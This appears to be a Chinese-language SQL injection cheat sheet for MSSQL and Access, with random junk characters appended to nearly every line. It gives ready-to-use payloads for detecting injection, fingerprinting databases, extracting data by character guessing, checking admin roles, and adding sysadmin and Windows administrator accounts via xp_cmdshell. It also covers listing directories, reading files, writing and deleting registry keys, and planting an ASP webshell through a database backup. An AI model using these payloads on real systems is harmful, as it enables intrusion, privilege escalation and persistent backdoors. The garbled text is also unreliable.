1.判断是否有注入;and 1=1 ;and 1=2 C,|,-CY
2.初步判断是否是mssql ;and user>0 d5:c^`
{kR#p %E]
3.注入参数是字符'and [查询条件] and ''=' c(s.5p ^
][Rh28?I{
4.搜索时没过滤参数的'and [查询条件] and '%25'=' WCixKYq
s`~IUNJ@P
5.判断数据库系统 k~1?VQ+?M
amY!qg0P*
;and (select count(*) from sysobjects)>0 mssql 9InVQCf2J
kc&U'&RgY
;and (select count(*) from msysobjects)>0 access S;`A{Mow
oW6XF-yM
^s"R$?;h
"S?z@i(K^
6.猜数据库 ;and (select Count(*) from [数据库名])>0 {F.[&/A
E+;7>ja
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 9~[Y-cpoi
7WZ+T"O{I
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 &0JI!bR(
##" HF
9.(1)猜字段的ascii值(access) O6^]=/wd
j|#Bo:2km
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8FY?!C
9q~s}='"
(2)猜字段的ascii值(mssql) P\k# >}}
zIAD9mQex
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;u)I\3`*!
DN:EB@
10.测试权限结构(mssql) [` 7ThHX
P-"y3 ZE=
xU`p|(SS-
#QMz<P/Gl6
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- \bw2u!
s?nR 4
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ~b8]H|<'Y
pZy~1L
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- o?\?@H
?&1!vz
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Xc&9Glf
)+9Uoe~6
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- P~X2^bw
$6poFo)U+
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- nAdf=D'P
b d!Y\OD
;and 1=(select IS_MEMBER('db_owner'));-- 'TB2:W3
z~s PXGb
2<}%kQ`
Otn1wBI
11.添加mssql和系统的帐户 `e}B2;$A3
3/eca
;exec master.dbo.sp_addlogin username;-- :^h$AWR^f
;exec master.dbo.sp_password null,username,password;-- uoh7Sz5!^
4BpZJ~(p
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- AFwdJte9e
:Zw2'IV
;exec master.dbo.xp_cmdshell 'net user username password a9Zq{Ysj
{E|$8)58i
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- '!B&:X)
pOoEI+t
;exec master.dbo.xp_cmdshell 'net user username password /add';-- $/Uq0U
dG ?*y
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- HJ.-Dg5U
)zDCu`
j^RmrOg,
[j+sC*
12.(1)遍历目录 e~"U @8xk~
1 [Bk%G@D&
;create table dirs(paths varchar(100), id int) @-`*m+$U6
gL/9/b4
;insert dirs exec master.dbo.xp_dirtree 'c:\' ysnx3(+|
*MW\^PR?
;and (select top 1 paths from dirs)>0 yyTnL 2Y9
nKj7.,>;:<
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) tw)mepwB
XfIJ4ZM5
W=+ Y|R!
dft!lBN
(2)遍历目录 +k R4E23:
- " 9
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- :e+jU5;]3
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 C~exi[3
9_h[bBx-'Q
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ~6md !o%i
&_8947
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Pr
C{'XDlU
XW92gI<O
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 (S Yln>o
b"
[|:F>P
%^6F_F_jS
0JujesUw(
13.mssql中的存储过程 YtLt*Ig%
+&H4m=D-#a
xp_regenumvalues 注册表根键, 子键 t"I77aZ$A
[{/jI\?v
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4s
oJ.j8
@IZnFHN
xp_regread 根键,子键,键值名 5SQ8}Or3
;722\y(Y
;exec xp_regread u_Z+;{]Pj
o^wqFX(Y
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 fI|$K)K
b|(:[nB
xp_regwrite 根键,子键, 值名, 值类型, 值 WTiD[u
&BSn?
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 uhq8
|6y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 F((4U"
b\,+f n
xp_regdeletevalue 根键,子键,值名 U
#0Cx-E
\z ) %$#I
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 NwfVL4Xg
pQQH)`J|t
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 :rP=t ,
#lO Mm9
iN.n8MN=I
8RHUeRX
14.mssql的backup创建webshell eszG0Wu
IAyp 2
use model 1B\WA8
Zb#u0Tq
create table cmd(str image); Ew$C
;&9
EiaW1Cs
insert into cmd(str) values (''); qcRs$-J
.X;K%J2
backup database model to disk='c:\l.asp'; >.D4co>
_','9|
2>59q$|
'0,^6'VWOV
15.mssql内置函数 0IWf!Sk
]
Kf-JcBsrT
;and (select @@version)>0 获得Windows的版本号 c4z R*
fTX;.M/%
;and user_name()='dbo' 判断当前系统的连接用户是不是sa fd9k?,zM
TJ*T:?>e
;and (select user_name())>0 爆当前系统的连接用户 KG{St{uJ
$`'/+x"%
;and (select db_name())>0 得到当前连接的数据库 EBmt9S
yF/j Fn
4`=mu}Y2
wS3'?PRX
16.简洁的webshell %xt^698&X
>5SSQ\ 2~a
use model >KKMcTOYY
Yoll?_k+
create table cmd(str image); hFBe,'3M
6d~'$<5on
insert into cmd(str) values (''); Yz93'HDB
?Ss!e$jf
backup database model to disk='g:\wwwtest\l.asp';